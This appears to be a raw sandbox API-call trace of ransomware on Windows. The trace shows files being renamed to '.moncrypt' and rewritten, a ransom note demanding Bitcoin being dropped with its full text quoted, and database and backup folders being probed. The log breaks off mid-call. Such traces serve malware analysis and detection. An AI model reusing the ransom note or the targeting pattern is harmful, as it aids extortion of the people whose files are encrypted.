FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.515] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.moncrypt")) returned 1 [0048.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.517] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.517] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x750 [0048.517] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.517] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x750, lpOverlapped=0x0) returned 1 [0048.519] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.520] GlobalLock (hMem=0x440004) returned 0x557870 [0048.520] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.520] GlobalUnlock (hMem=0x44000c) returned 0 [0048.520] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.520] GlobalUnlock (hMem=0x440004) returned 0 [0048.520] GlobalLock (hMem=0x440004) returned 0x555860 [0048.520] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.520] GlobalUnlock (hMem=0x440004) returned 0 [0048.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.531] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.531] CloseHandle (hObject=0x190) returned 1 [0048.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.532] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.532] GlobalLock (hMem=0x440004) returned 0x555860 [0048.532] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.532] GlobalUnlock (hMem=0x440004) returned 0 [0048.532] GlobalLock (hMem=0x440004) returned 0x555860 [0048.532] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.532] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.532] GlobalUnlock (hMem=0x440004) returned 0 [0048.532] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.532] GlobalUnlock (hMem=0x44000c) returned 0 [0048.532] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e325920, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e325920, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e325920, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.532] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.532] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.532] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.533] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.533] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.533] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.533] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.533] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.533] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.533] ReadFile (in: hFile=0x190, lpBuffer=0x1dcd3b8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.533] CloseHandle (hObject=0x190) returned 1 [0048.533] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.533] GetLastError () returned 0x12 [0048.533] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.533] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.533] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.533] GlobalUnlock (hMem=0x44000c) returned 0 [0048.534] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.534] GlobalLock (hMem=0x440004) returned 0x557870 [0048.534] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.534] GlobalUnlock (hMem=0x44000c) returned 0 [0048.534] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.534] GlobalUnlock (hMem=0x440004) returned 0 [0048.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x3e325920, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e325920, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.538] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.538] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.539] GlobalLock (hMem=0x440004) returned 0x555860 [0048.539] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.539] GlobalUnlock (hMem=0x440004) returned 0 [0048.539] GlobalLock (hMem=0x440004) returned 0x555860 [0048.539] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.539] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.539] GlobalUnlock (hMem=0x440004) returned 0 [0048.539] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.539] GlobalUnlock (hMem=0x44000c) returned 0 [0048.539] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.539] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x3e325920, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e325920, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.539] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.539] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.539] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.539] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.539] GlobalUnlock (hMem=0x44000c) returned 0 [0048.539] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.539] GlobalLock (hMem=0x440004) returned 0x557870 [0048.539] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.539] GlobalUnlock (hMem=0x44000c) returned 0 [0048.539] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.539] GlobalUnlock (hMem=0x440004) returned 0 [0048.539] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.539] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e325920, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e325920, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e325920, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.539] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.539] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.539] GlobalLock (hMem=0x440004) returned 0x555860 [0048.540] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.540] GlobalUnlock (hMem=0x440004) returned 0 [0048.540] GlobalLock (hMem=0x440004) returned 0x555860 [0048.540] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.540] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.540] GlobalUnlock (hMem=0x440004) returned 0 [0048.540] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.540] GlobalUnlock (hMem=0x44000c) returned 0 [0048.540] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.540] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x665, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML.moncrypt", cAlternateFileName="PROJEC~1.MON")) returned 1 [0048.540] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.540] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.540] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.540] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.540] GlobalUnlock (hMem=0x44000c) returned 0 [0048.540] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.540] GlobalLock (hMem=0x440004) returned 0x557870 [0048.540] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.540] GlobalUnlock (hMem=0x44000c) returned 0 [0048.540] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.540] GlobalUnlock (hMem=0x440004) returned 0 [0048.540] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.540] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x815, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.540] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.540] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.540] GlobalLock (hMem=0x440004) returned 0x555860 [0048.540] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.540] GlobalUnlock (hMem=0x440004) returned 0 [0048.540] GlobalLock (hMem=0x440004) returned 0x555860 [0048.541] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.541] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.541] GlobalUnlock (hMem=0x440004) returned 0 [0048.541] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.541] GlobalUnlock (hMem=0x44000c) returned 0 [0048.541] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.541] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x815, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.541] GetLastError () returned 0x12 [0048.541] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.541] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.541] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.541] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.541] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.541] GlobalUnlock (hMem=0x44000c) returned 0 [0048.541] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.541] GlobalLock (hMem=0x440004) returned 0x557870 [0048.541] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.541] GlobalUnlock (hMem=0x44000c) returned 0 [0048.541] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.541] GlobalUnlock (hMem=0x440004) returned 0 [0048.541] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.541] GlobalLock (hMem=0x440004) returned 0x555860 [0048.541] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.542] GlobalUnlock (hMem=0x440004) returned 0 [0048.542] GlobalLock (hMem=0x440004) returned 0x555860 [0048.542] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.542] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.542] GlobalUnlock (hMem=0x440004) returned 0 [0048.542] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.542] GlobalUnlock (hMem=0x44000c) returned 0 [0048.542] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.542] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en", len=0x58 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en") returned 1 [0048.542] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.542] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.542] GlobalUnlock (hMem=0x44000c) returned 0 [0048.542] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.542] GlobalLock (hMem=0x440004) returned 0x557870 [0048.542] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.542] GlobalUnlock (hMem=0x44000c) returned 0 [0048.542] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.542] GlobalUnlock (hMem=0x440004) returned 0 [0048.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@蟢T螶T企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0048.543] GetLastError () returned 0x3 [0048.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@蜄T企@\x18㿬Q\x181")) returned 0xffffffff [0048.543] GetLastError () returned 0x2 [0048.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0048.543] GetLastError () returned 0x2 [0048.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@呤U企@\x18?T\x18D")) returned 0xffffffff [0048.543] GetLastError () returned 0x2 [0048.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@蜄T企@\x18翌R\x18j")) returned 0xffffffff [0048.544] GetLastError () returned 0x2 [0048.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@⨴R企@\x18?T\x18q")) returned 0xffffffff [0048.544] GetLastError () returned 0x2 [0048.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@坜U企@\x18?T\x18y")) returned 0xffffffff [0048.544] GetLastError () returned 0x2 [0048.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@蜄T企@\x18?T\x18\x81")) returned 0xffffffff [0048.544] GetLastError () returned 0x2 [0048.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, 